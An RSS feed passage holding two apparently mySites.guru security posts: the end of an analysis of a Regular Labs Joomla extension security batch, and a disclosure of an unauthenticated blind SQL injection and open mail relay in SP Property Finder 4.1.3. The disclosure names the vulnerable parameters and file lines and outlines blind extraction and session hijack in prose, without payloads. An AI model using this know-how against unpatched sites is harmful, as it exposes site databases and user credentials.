&lt;p&gt;That default is the right one for a security fix, and it is also why sites will change behaviour. If a site legitimately uses any of those features from a non-Super-User account, and many do, the feature stops working the moment the update is applied, and keeps not working until an administrator re-authorises the groups that should have it. Nothing warns you. The page just renders without the behaviour it had yesterday.&lt;/p&gt;
&lt;p&gt;The gate is also narrower than a group check alone. Regular Labs’ shared security code only allows executable attributes through when the content is being rendered as a Joomla article, category or featured view, when the tag is actually present in the stored article row, and when the article’s last editor is in an allowed group. Modules, templates and third-party components never qualify, whatever the group setting says. Anyone using these tags inside a module should expect them to stop working regardless of how the permission is configured.&lt;/p&gt;
&lt;p&gt;Conditional Content is the gentlest of the four, and its own field description says so: existing saved Condition Sets keep working, and only the restriction on &lt;em&gt;saving&lt;/em&gt; new PHP is enforced. The other three take effect on render.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Stage this batch before rolling it out&lt;/p&gt;&lt;div&gt;&lt;p&gt;A security release that removes a working capability on purpose is a different risk profile from one that patches a string behind the scenes. Update a representative site first, check any page using JavaScript Events, Snippet variables or PHP Condition Rules, re-authorise the author groups you actually trust, and only then push the wave.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For what it is worth, the restriction is the correct call. Joomla’s own default text filters put Author, Editor and Publisher on the Default Forbidden List, which strips &lt;code&gt;script&lt;/code&gt; along with &lt;code&gt;iframe&lt;/code&gt;, &lt;code&gt;object&lt;/code&gt; and &lt;code&gt;embed&lt;/code&gt;. Only Super Users get unfiltered HTML, and core tightened this on purpose in 3.8.8 so that even Administrators no longer get unfiltered content by default. An extension that let an Author put executable script in a page was not offering an expected capability. It was routing around a filter Joomla puts in front of that group on purpose.&lt;/p&gt;
&lt;h2&gt;The records published the morning after the releases&lt;/h2&gt;
&lt;p&gt;All nine identifiers were RESERVED when the packages went out on 13 September. We checked the MITRE record endpoint, the NVD API and the CVE Project’s own git mirror that afternoon, and all three came back empty. The records went live at cve.org between 06:12 and 06:21 UTC the next morning, each with a CVSS 4.0 score from the Joomla CNA.&lt;/p&gt;
&lt;p&gt;That is quick by the standards of this vendor’s July round, and it still left the whole of release day with the vendor’s own changelog as the only place to read about nine security issues. Publication is also a long way short of coverage. Aggregators, feeds and commercial scanners re-import on their own schedules, so tooling that stays quiet on Regular Labs this week is behind the record rather than giving your sites a clean bill of health.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;July round&lt;/a&gt; sat in that gap for weeks, and those numbers did eventually arrive. One of them, the Sourcerer issue, &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;turned out to need a second fix release&lt;/a&gt; once it was properly scored.&lt;/p&gt;
&lt;p&gt;We do not wait for publication. All 34 matching rules for this batch went into our &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla vulnerability database&lt;/a&gt; on release day, so every connected site running an affected build was flagged with the version that resolves it before any scanner could see the CVE. Five more rules followed on 14 September, when the published record spelled out a second affected range for the Snippets Free edition, and the CNA’s own scores replaced the ratings we had assigned before the records went live.&lt;/p&gt;
&lt;p&gt;Regular Labs did announce the release publicly and did so promptly, posting eleven times on Mastodon within twelve minutes of the packages going live, each post linking its own changelog. The problem is reach rather than intent. That account had around 70 followers when we checked, the vendor’s RSS feed has not had an item since 2019, there is no security page and no mailing list signup anywhere on the site. The summary post announcing all 24 updates does not use the word security at all, and the Modals post hit Mastodon’s character limit mid-sentence, so one of the two CVE numbers for that extension is simply not in it.&lt;/p&gt;
&lt;p&gt;None of that is concealment. It is a release that was announced into a room with almost no one in it, on the one day the CVE records that would have spread it further were still unpublished. If you maintain Joomla sites and you learned about this from us rather than from the vendor, that is why.&lt;/p&gt;
&lt;h2&gt;What the sites we monitor actually look like&lt;/h2&gt;
&lt;p&gt;We can see the installed version of every Regular Labs extension across the Joomla sites connected to mySites.guru. Measured on release day, across the ten affected extensions, the picture splits in a way that is worth sitting with.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62.8%&lt;/div&gt;&lt;div&gt;on the July build&lt;/div&gt;&lt;div&gt;current until this morning, newly affected today&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;36.7%&lt;/div&gt;&lt;div&gt;already behind&lt;/div&gt;&lt;div&gt;running a version with a published CVE before today&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0.5%&lt;/div&gt;&lt;div&gt;already patched&lt;/div&gt;&lt;div&gt;as expected on release day&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Share of installs across the ten affected extensions, on Joomla sites snapshotted in the last 30 days.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The 62.8% is unremarkable. Those sites were fully current when they went to bed and are affected because a new release exists, which is how patching works.&lt;/p&gt;
&lt;p&gt;The 36.7% is the number worth acting on, and when we broke it down by the age of the installed build it turned out not to mean what we first assumed.&lt;/p&gt;
&lt;p&gt;Around 32% of all installs we monitor sit on a build dated 4 September 2023 or earlier, with almost nothing in between that and the current release. The obvious reading is a large group of abandoned sites. The obvious reading is wrong.&lt;/p&gt;
&lt;h2&gt;The 2023 cluster is Joomla 3, and it is stranded rather than neglected&lt;/h2&gt;
&lt;p&gt;4 September 2023 is &lt;a href=&quot;https://joomla3security.com/vendors/regular-labs/&quot;&gt;the date Regular Labs last shipped a build for Joomla 3&lt;/a&gt;. Pull the vendor’s own update feed and every Joomla 3 branch is frozen on that day: Articles Anywhere at 14.2.0, Modals at 12.6.1, Snippets at 8.7.0, Quick Index at 3.6.0, Content Templater at 11.5.0, ReReplacer at 13.2.0. The Joomla 4, 5 and 6 branch is versioned separately and is the only one receiving this batch.&lt;/p&gt;
&lt;p&gt;Those terminal version numbers are exactly the versions clustering in our data. Measured across the seven affected extensions with a Joomla 3 branch, 19.1% of installs are sitting on precisely the last build Regular Labs ever released for their platform, and a further 11.8% are older still.&lt;/p&gt;
&lt;p&gt;That reframes the number. A fifth of these installs belong to sites that applied every update offered to them and then ran out of updates. Joomla’s own update check tells them they are current, because as far as their branch is concerned they are.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;None of these nine fixes will reach a Joomla 3 site&lt;/p&gt;&lt;div&gt;&lt;p&gt;There is no Joomla 3 backport in this batch and there will not be one. For a site in that group the remediation is &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;a migration rather than an update&lt;/a&gt;. Applying the fix means moving the site to Joomla 4 or later first, which is work of a completely different size, and worth scoping now rather than at the next release.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So the useful question after this release goes past whether you applied it: which sites in your portfolio could not receive it, and did you know which ones those were before today? The oldest Articles Anywhere install still connected to us is version 1.9.3, released in January 2011.&lt;/p&gt;
&lt;h2&gt;The vendor’s own update feed is still behind its own release&lt;/h2&gt;
&lt;p&gt;One practical wrinkle, checked at 16:17 UTC on release day, roughly three hours after the packages went live.&lt;/p&gt;
&lt;p&gt;Joomla sites do not poll the changelog page. They poll &lt;code&gt;download.regularlabs.com/updates.xml&lt;/code&gt;, and that feed was still offering the previous version for three of the ten affected extensions: Quick Index at 5.0.4, Content Templater at 14.1.0 and Users Anywhere at 2.0.6. Articles Anywhere and Snippets had already rolled over, and Snippets flipped while we were watching, so this is staggered propagation rather than a broken feed. The feed sets a six hour cache lifetime, which fits.&lt;/p&gt;
&lt;p&gt;It still means a site checking for updates this afternoon may be told it is current on three extensions that are not. If you are working through this batch today and an extension reports nothing available, check the version against the table above rather than trusting the prompt.&lt;/p&gt;
&lt;h2&gt;How do you update 24 extensions safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Four of these releases change behaviour on purpose, so a rollback path is not optional this time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do Conditional Content first&lt;/strong&gt; if you run it. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85192/&quot;&gt;CVE-2026-85192&lt;/a&gt; is the only code execution issue in the batch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update one representative site&lt;/strong&gt;, then open a page that uses JavaScript Events, Snippet variables or PHP Condition Rules and confirm it still does what it should.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-authorise the author groups&lt;/strong&gt; you actually trust in each of the four BC BREAK extensions, rather than disabling the new restriction wholesale. The restriction is the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your template overrides.&lt;/strong&gt; Articles Anywhere 20.0.0 also changes full article layouts in feeds, which is exactly where &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;a stale override&lt;/a&gt; bites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not trust an empty update prompt today.&lt;/strong&gt; The vendor’s update feed was still serving the previous version for three of the ten extensions three hours after release. Check the installed version against the table above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Separate out your Joomla 3 sites.&lt;/strong&gt; They cannot receive any of this. Put them on a migration list rather than an update list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then roll the wave&lt;/strong&gt;, and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;turn on automatic updates&lt;/a&gt; for the extensions where you are comfortable with it, so the next catalogue-wide release is not another manual afternoon.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How do I find every site running a Regular Labs extension?&lt;/h2&gt;
&lt;p&gt;Checking 24 extensions by hand across a portfolio is the kind of job that gets postponed, which is how a site ends up on a 2023 build.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps an extension inventory for every connected Joomla site. Searching the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension inventory&lt;/a&gt; for any of these names returns every install and its version on one screen, and anything below the fixed version is flagged automatically against the rules we added on release day. You get a list of sites to fix rather than a list of sites to check.&lt;/p&gt;
&lt;p&gt;The official Joomla &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; will almost certainly not record this release, and the public CVE databases cannot yet. That gap between what a vendor has fixed and what the world can see is the whole reason we keep &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;our own vulnerability database&lt;/a&gt; rather than mirroring someone else’s.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;4 September 2023&lt;/strong&gt; The last Joomla 3 build Regular Labs shipped its final Joomla 3 release across the range on this date. Every Joomla 3 branch in the vendor&apos;s update feed is still frozen here, which is why a fifth of the installs we monitor sit on exactly these version numbers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;22 July 2026&lt;/strong&gt; The catalogue-wide security release Around thirty extensions patched at once, with no CVE identifiers assigned at the time. Every version marked affected in today&apos;s batch is a build from that release or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;17 August 2026&lt;/strong&gt; Sourcerer 16.0.0 closes CVE-2026-74253 The July round&apos;s Sourcerer fix turned out to be incomplete, and the issue was assigned a CVE retroactively. Evidence that a Regular Labs fix release can itself need re-scoping.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;13 September 2026&lt;/strong&gt; Twenty four updates, ten with security fixes Nine CVE identifiers across ten extensions, four of them flagged BC BREAK. All nine CVE records were still RESERVED and unpublished on the day of release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; The nine records publish with official scores Every record went live at cve.org the next morning, scored by the Joomla CNA. CVE-2026-85192 came in at 9.4 Critical, six at 7.5 High, and the two shared-code issues at 6.9 and 5.3 Medium.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;Regular Labs Patched Its Whole Joomla Extension Catalogue at Once&lt;/a&gt; - the 22 July 2026 round, and the source of every version number now marked affected&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer 14 and 15 did not fix CVE-2026-74253. 16.0.0 does.&lt;/a&gt; - what happens when a Regular Labs fix release needs re-scoping&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty Rules for Joomla Extension Developers Handling a Security Report&lt;/a&gt; - the yardstick we measure vendor handling against&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;One VEL for Every Joomla and WordPress Site&lt;/a&gt; - why the official Vulnerable Extensions List will not record this release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; - how to stop a twenty four extension wave being a manual job&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Regular Labs latest releases&lt;/a&gt; - the vendor&apos;s own changelog index, the only published source for this batch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Improper Neutralization of Input During Web Page Generation&lt;/a&gt; - the class covering most of this batch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/regular-labs/&quot;&gt;Regular Labs on Joomla 3&lt;/a&gt; - when the vendor dropped Joomla 3 and the date its Joomla 3 branches froze.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>regular labs</category><category>joomla extensions</category><category>vulnerability</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/regular-labs-september-2026-security-updates.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in SP Property Finder found by mySites.guru</title><link>https://mysites.guru/blog/sp-property-finder-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-property-finder-sql-injection-disclosure/</guid><description>mySites.guru found an unauthenticated blind SQL injection in JoomShaper&apos;s SP Property Finder. Any visitor could read the database. Fixed in 4.1.4.</description><pubDate>Thu, 10 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/sp-property&quot;&gt;SP Property Finder&lt;/a&gt; is JoomShaper’s real-estate listings component for Joomla, used to run property search sites: agents, listings, maps, enquiry forms. During a security audit of SP Property Finder 4.1.3, &lt;strong&gt;mySites.guru found an unauthenticated SQL injection in the public property search, and reported it to JoomShaper before disclosing anything publicly.&lt;/strong&gt; JoomShaper closed it in SP Property Finder &lt;strong&gt;4.1.4&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you run SP Property Finder on any Joomla site, update to 4.1.4 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated blind SQL injection&lt;/strong&gt; in SP Property Finder 4.1.3 and reported it to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated SQL injection, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt;.&lt;/strong&gt; The Joomla CNA rates it 9.3 Critical and credits it to us; we assess the read-only injection at 8.7 High. Either way, with no login and no token an anonymous visitor could &lt;strong&gt;read the entire database&lt;/strong&gt;, password hashes and the site secret included&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated mail relay (CVSS 4.0 6.9, Medium).&lt;/strong&gt; The property contact and enquiry forms took the recipient address straight from the request, so an attacker could send email to any address with a spoofed sender, from your domain and mail server, an open spam and phishing relay&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Property Finder 4.1.4 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately, fixed in &lt;strong&gt;4.1.4&lt;/strong&gt;. Our two findings are &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt;&lt;/strong&gt; (SQL injection, credited to Phil Taylor by the Joomla CNA) and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt;&lt;/strong&gt; (mail relay); the release fixed three more that we did not report&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A month from report to release, 27 days of it silence.&lt;/strong&gt; Acknowledged 11 August, then quiet until we chased on 7 September with the Joomla Security Strike Team copied in; a fixed build followed within 20 hours&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;How we handle what we find&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru discovered this issue and reported it to JoomShaper before publishing details. We withheld the exact requests and any proof of concept until a fix was available and site owners had a reasonable window to update. Fix first, publish second, every time.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous request that reads the database&lt;/h2&gt;
&lt;p&gt;SP Property Finder’s whole reason to exist is a public property search. A visitor filters listings by city, price, size, number of bedrooms, postcode, and the component turns those filters into a database query. Most of those filters were handled correctly. A few were not.&lt;/p&gt;
&lt;p&gt;The postcode filter is the clearest example. The search model took the &lt;code&gt;zip&lt;/code&gt; value from the request and pasted it straight onto the end of the query as &lt;code&gt;a.zip = &amp;lt;value&amp;gt;&lt;/code&gt;, with none of the quoting that the neighbouring &lt;code&gt;city&lt;/code&gt; and &lt;code&gt;keyword&lt;/code&gt; filters use (&lt;code&gt;components/com_spproperty/models/properties.php:166&lt;/code&gt;, with the same pattern in the map view at &lt;code&gt;models/maps.php:153&lt;/code&gt;). The sort control had the same flaw in its &lt;code&gt;ORDER BY&lt;/code&gt; clause, where the sort direction was appended raw (&lt;code&gt;properties.php:190&lt;/code&gt;), and so did the price and size range dropdowns (&lt;code&gt;properties.php:131&lt;/code&gt; and &lt;code&gt;:136&lt;/code&gt;). A postcode and a sort direction are ordinary-looking fields, which is exactly why the missing quoting is easy to overlook.&lt;/p&gt;
&lt;p&gt;There is no login, no token and no CSRF check in front of any of it. The property search is meant to be used by anonymous visitors, so the endpoint is open by design, and the missing input handling turns that open endpoint into an unauthenticated &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;. An anonymous attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every stored enquiry.&lt;/p&gt;
&lt;p&gt;We confirmed it on our own SP Property Finder test install, two ways. A boolean proof: a crafted postcode that asked the database a true-or-false question about another table (does a user with this ID exist, does this character of the admin password hash match) changed which listings came back, letting an answer be read out one bit at a time. And a time-based proof: a value that made the database pause for a measurable few seconds against an instant baseline, which shows the injected code ran inside a real query even when nothing is visible on the page. We did not extract any real data beyond confirming the admin username and the first byte of its hash on our own lab box.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This one leaves no trace&lt;/p&gt;&lt;div&gt;&lt;p&gt;A database read leaves your site looking untouched: no file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live, treat the database as potentially copied, rotate the Joomla secret and any stored API keys, and assume password hashes are known.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Read-only, but not harmless&lt;/h2&gt;
&lt;p&gt;It is worth being precise about what this injection can and cannot do.&lt;/p&gt;
&lt;p&gt;It is a read-only injection. It sits inside a &lt;code&gt;SELECT&lt;/code&gt; that fetches property listings, and Joomla’s database driver does not run stacked queries, so there is no way to turn it into an &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt; or &lt;code&gt;DELETE&lt;/code&gt;. An attacker cannot use this bug on its own to add an administrator, change a price, or write a file. The Joomla CNA published it as 9.3 Critical, on a vector that assumes integrity and availability impact. We score the injection itself High rather than Critical, because it is read-only: a total loss of confidentiality, with integrity and availability untouched. On a read-only bug, the distinction changes nothing about how fast you should update.&lt;/p&gt;
&lt;p&gt;Read-only does not mean small. The injection reads the whole database, not just SP Property Finder’s own tables, so “confidentiality” here means every row on the site is exposed to an anonymous request. On a property site that includes the personal data the component holds, the enquirer names, email addresses and phone numbers submitted through contact and booking forms, the agent records, and the booking and enquiry history. It includes unpublished and draft listings and any prices not yet meant to be public. It includes the Joomla &lt;code&gt;#__users&lt;/code&gt; table, with usernames, email addresses and password hashes, the session table, and the site secret. There is no table the query cannot reach: if it is in the database, an anonymous visitor can read it.&lt;/p&gt;
&lt;p&gt;The catch is that a full database read is a short step from full compromise. The Joomla session table lives in the same database, so an attacker who can read arbitrary tables can read a logged-in administrator’s session token and step straight into the admin panel with it, no password required. From there, installing a malicious extension is a normal administrator action. Reading the password hashes offers a slower second route through offline cracking. “Read-only” describes the bug, not how far the damage reaches.&lt;/p&gt;
&lt;h2&gt;The second finding: an open mail relay&lt;/h2&gt;
&lt;p&gt;The property pages have contact and enquiry forms, so a visitor can ask an agent about a listing. To send that email, the form told the server who to send it to, and the server believed it. The recipient address was taken straight from the submitted request and used as-is, with no server-side lookup of the real agent and nothing to stop a visitor changing it (&lt;code&gt;controllers/agents.php&lt;/code&gt; and &lt;code&gt;controllers/properties.php&lt;/code&gt;, neither of which has a CSRF token on the send).&lt;/p&gt;
&lt;p&gt;Because the recipient comes from the request, an attacker could point it at any address they liked, set the sender to anything they liked, and make the site send arbitrary email. The result is an unauthenticated open mail relay: any SP Property Finder site with a contact form on a published listing could be made to send email to any recipient, with a spoofed sender, &lt;strong&gt;from the site’s own domain and mail server&lt;/strong&gt;. That is a spam and phishing platform running on your domain’s reputation, and the fastest way to get your legitimate mail blacklisted. The correct fix, which the update makes, is for the server to look up the real recipient from the property or agent record it already holds, rather than trusting one supplied by the browser.&lt;/p&gt;
&lt;h2&gt;Does 4.1.4 actually fix it?&lt;/h2&gt;
&lt;p&gt;We tested it rather than reading the changelog, because a fix release and a fixed bug are not always the same thing. With this same vendor in August we reported a SQL injection, watched the patch harden the exact method we named, and &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;found the identical flaw still reachable through the function directly below it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The check worth doing is a before and after on one install. We ran our original attack requests against 4.1.3, confirmed every one of them still worked, then sent the identical requests to 4.1.4. That order matters more than it sounds: a patched site returning no results looks exactly like a site where the filter stopped being applied at all, and only the control run separates the two.&lt;/p&gt;
&lt;p&gt;On 4.1.4 the postcode filter still filters and no longer injects. A value crafted to break out of the query comes back treated as ordinary text, and the database reports no error behind it. The sort control is checked against a fixed list of permitted columns and directions, so anything else falls back to the default ordering instead of reaching the query at all. The price and size ranges are validated as numbers before use. The map view got the same treatment as the property list, closing the second route to the same flaw.&lt;/p&gt;
&lt;p&gt;The contact forms were rebuilt rather than patched around. The recipient is looked up in the database from the property or agent being enquired about, so the browser cannot influence who receives the mail, and both endpoints require a valid session token before they will send anything.&lt;/p&gt;
&lt;h2&gt;Fixed properly, shipped by JoomShaper with no announcement or credit&lt;/h2&gt;
&lt;p&gt;The fix itself is good work, and we say so above. What surrounds it is the pattern we have written about before with this vendor.&lt;/p&gt;
&lt;p&gt;It also took a month, and most of that month was waiting. We reported the flaw on 10 August and 4.1.4 shipped on 10 September. JoomShaper acknowledged the report on 11 August, naming the affected parameters back to us, then went silent for 27 days. The build only appeared after we chased on 7 September and copied the Joomla Security Strike Team on the thread, at which point a fixed package reached us within 20 hours. The engineering, once it started, was quick and correct. What it took to start was a chase, with the Joomla Security Strike Team copied in to see the response time for themselves.&lt;/p&gt;
&lt;p&gt;JoomShaper released SP Property Finder 4.1.4 on 10 September 2026 with no security announcement and no advisory. It exists as a changelog on the download page, the security entries sitting above routine map and asset-loading tidy-ups with nothing to mark them apart.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_ZLzVOV.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_UaNiU.webp 640w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_Z1TgcXY.webp 750w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_ZWCGBd.webp 828w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_Z1PMJdL.webp 1080w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_2sUCNn.webp 1280w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_1gnLkC.webp 1668w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_1Vv6XA.webp 2048w, https://mysites.guru/_astro/sp-property-4-1-4-changelog.vBtIudw2_ZLzVOV.webp 2080w&quot; alt=&quot;The SP Property 4.1.4 changelog on JoomShaper&apos;s download page, dated 10 September 2026. A Security section lists five entries, each with a shield icon: an unauthenticated SQL injection in property search and map filter parameters (CVE-2026-78082), CSRF token verification on property booking and agent contact forms (CVE-2026-78083), a JavaScript-context XSS issue in property and agent view script blocks (CVE-2026-78302), authorization checks and upload validation for gallery images (CVE-2026-78084), and contextual output escaping across agent and property templates (CVE-2026-78303). A Fixes section below lists ordinary bug fixes for OpenStreetMap display, Mapbox tiles and asset loading. Nowhere does the page say vulnerability or advisory, or name a reporter.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2080px) 2080px, 100vw&quot; width=&quot;2080&quot; height=&quot;1452&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Two of those five CVEs are the issues we reported. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78082/&quot;&gt;CVE-2026-78082&lt;/a&gt; is the SQL injection, which the Joomla CNA published at 9.3 Critical and credited to us. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt; is the mail relay, which the CNA records as an unvalidated email destination in booking requests. The changelog’s own wording does not line up with those records: it labels &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78303/&quot;&gt;CVE-2026-78303&lt;/a&gt; as “contextual output escaping” rather than the mail relay it closes, and never uses the word relay anywhere. The other three CVEs cover a missing CSRF check, a gallery access-control flaw and a cross-site scripting bug, and are not our findings. JoomShaper’s changelog credits no one; the Joomla CNA credits us on the SQL injection alone.&lt;/p&gt;
&lt;p&gt;The changelog names no reporter. We had asked JoomShaper to tell us when 4.1.4 went public and were not told; we found the release through our own version tracking. It is the same shape we described with &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;SP Page Builder&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt; earlier in the year: a complete, well-built fix, shipped without a word to the person who reported it. We have no complaint about the engineering, only about being left to find the release ourselves and about a changelog whose descriptions do not even match the CVE records it cites.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;SP Property Finder &lt;strong&gt;4.1.3&lt;/strong&gt;, the version we audited, and &lt;strong&gt;every earlier version&lt;/strong&gt; that shares the same front-end search models are affected. JoomShaper fixed the issue in SP Property Finder &lt;strong&gt;4.1.4&lt;/strong&gt;. If you run any earlier version, assume your site is affected and update now: the search endpoint needs no login, so if the site is online, it is reachable.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If you are on 4.1.3 or earlier&lt;/p&gt;&lt;div&gt;&lt;p&gt;Assume your site is affected and update now. The SQL injection needs no login and no token, so a public property search page is all an attacker needs to reach it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do you update SP Property Finder safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Property Finder 4.1.4. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade SP Property Finder across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check SP Property Finder reports 4.1.4 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache. Property search pages are often cached, which is worth knowing here: page caching hid the flaw from casual testing during our audit, because identical requests returned an identical cached page.&lt;/li&gt;
